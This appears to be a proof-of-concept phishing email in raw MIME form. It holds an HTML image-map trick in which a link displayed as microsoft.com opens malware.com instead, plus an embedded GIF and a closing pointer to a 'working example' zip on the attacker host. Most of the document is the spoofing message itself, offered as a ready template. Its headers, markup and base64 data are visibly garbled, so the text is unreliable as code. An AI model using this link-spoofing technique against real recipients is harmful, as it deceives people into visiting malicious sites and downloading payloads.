To: boss@bloatedcorp.com
Subject: a must see
Http://www.malware.com X-Source: 08.05.04
Mime-type: 1.0
Content-Type: multipart/related;
Boundary = "---- = _ nextpart_000_002a_01c4351a.9d8a12b0 ";
Type = "multipart/alternative"
This is a multi-part message in MIME format.
------ = _ Nextpart_000_002a_01c4351a.9d8a12b0
Content-Type: multipart/alternative;
Boundary = "---- = _ nextpart_000000002b_01c4351a.9d8a12b0"
------ = _ Nextpart_000000002b_01c4351a.9d8a12b0
Content-Type: text/plain;
Charset = "Windows-1252"
Content-transfer-encoding: quoted-printable
------ = _ Nextpart_000000002b_01c4351a.9d8a12b0
Content-Type: text/html;
Charset = "Windows-1252"
Content-transfer-encoding: quoted-printable
<Body bgcolor = 3D # ffffff>
<Div> & nbsp; </div> <a href = 3D "http://www.microsoft.com"> Src = 3D "CID: malware" usemap = 3D # malware = 20
Border = 3d0> </A> <Map Name = 3 dmalware> <area shape = 3 drect =
Coords = 3d0, 0,224, 21 = 20
Href = 3D "http://www.malware.com"> </map> </body>
------ = _ Nextpart_000000002b_01c4351a.9d8a12b0 --
------ = _ Nextpart_000_002a_01c4351a.9d8a12b0
Content-Type: image/GIF;
Name = "malware.gif"
Content-transfer-encoding: base64
Content-ID: <malware>
R0lgoddhxgarapcaaaaaaavqaaqgaa/wakaaakvqakqgak/wbjaabjvqbjqgbj/wbtaabtvqbt
Qgbt/wcsaacsvqcsqgcs/wc2aac2vqc2qgc2/wdbaadbvqdbqgdb/WD/AAD/vqd/qgd // yqaacqa
Vsqaqiqa/yqkacqkvsqkqiqk/yrjac?vsrjqirj/yrtacrtvsrtqirt/yssacssvsssqiss/ys2
Acs2vss2qis2/ytbactbvstbqitb/yt/Act/VST/Qit // 0 kaaekavukaqkka/0 kkaekkvukkqkkk
/0 ljaeljvuljqklj/0 ltaeltvultqklt/0 msaemsvumsqkms/0m2aem2vum2qkm²/0 nbaenbvunb
Qknb/0n/aen/Vun/qkn // 20aag0avw0aqm0a/20kag0kvw0kqm0k/21jar1jvw1jqm1j/21tag1t
Vw1tqm1t/22sag2svw2sqm2s/222ag22vw22qm22/23bag3bvw3bqm3b/23/ag3/vw3/qm3/5ia
Ajiavziaqpia/5 ikajikvzikqpik/5 jjajjjvzjqpjj/5 jtajjtvzjtqpjt/5 ksajksvzksqpks
/5k2ajk2vzk2qpk2/5 lbajlbvzlbqplb/5l/ajl/vzl/qpl/7 yaalyavbyaqrya/7 ykalykvbyk
Qryk/7 zjzzvbzjqrzj/7 ztalztvbztqrzt/7 asalasvbasqras/7a2ala2vba2qra2/7 bbalbb
Vbbbqrbb/7B/ALB/vBB/QRB // 9 saansavdsaqtsa/9 skanskvdskqtsk/9 tjantjvdtjqttj/9tt
Anttvdttqttt/9 usanusvdusqtus/9u2anu2vdu2qtu2/9 vbanvbvdvbqtvb/9 V/anv/vdv/QTV/
// 8aap8avf8aqv8a // 8kap8kvf8kqv8k // 9jap9jvf9jqv9j // 9tap9tvf9tqv9t // + SAP + SVF + S
QV + S // + 2ap + 2vf + 2qv + 2 // BAP/BVF/bqv/B // AP // VF // QV // yh5baaaaalaaadgabea
Qaj/ap + 9gvdrn8gdcbmqxjhw0aaddhlkneixisnpax5a3mjx4l4hawzm6uhyisac/xyt + pbvpegx
Lqkevdfgtsjpi1/mnphq5brny0auycntj1chrauadfpv6ekmggei7mkskk2bcmhs3bktk8aqd7ci
Bytes
4 iafayrtfmkzs + a6iweuthgyln24gq + octna8q/iglebvh3yzhueslp/2zy4mmqeslsbzk3rnech
Kvhxds5ydej/zmm + qls88uvqxt1ibznd4l7tpxv +/2 + bxazgo6uojx9a2ptm0ec9ggz5e5lg3x/R
Oswf8nl0trvvjrx/ytw03ibrfyrrurj9nszvhohufld9vwhhxnjbb + gff9mv0nmlnkwuwwzzp1be
Jwoe0yvp7tphwvo1 + gjmmxo3400edhtvafcltjnuxuh03hayjbhdbr/ifldrmdx0o0yldamdtctq
Wnsiak3ci1ow9xglqo951xhws9iu34zjlpnpmwsacdkgbekg5d/pblnllduf1 + rqv5mfziap8xmq
Bytes
Wv8ok0mlpjpsd6nmwmghi + ak0rt3fjstosemb2xmz5nyup45jthar9stupczleel0btpdhhthsba
Bytes
Oogtge + ucmq0m4154vsvtpf9c9vhfhgql0ea2aybfefyb/cwn4g2bq8ed2uxlnhjdg5ba/8 hmmjcy
Bytes
Swsnw0szvzvivmk9bq/q4gb7ypulhdopnbbrq4xtvbdbfeudc + azcxy2zfs + te9hlw3suemop8pu
Gaxrlk2tnnecedxs8qa55dwqbjdmj/5n712x6qr66qwzxpjrsmcu ++ y012777bjnrvvuvov + t0aa
Ow =
------ = _ Nextpart_000_002a_01c4351a.9d8a12b0 --
Save as *. eml file open with IE, click http://www.microsoft.com will jump to http://www.malware.com
Working Example:
Http://www.malware.com/pheeesh.zip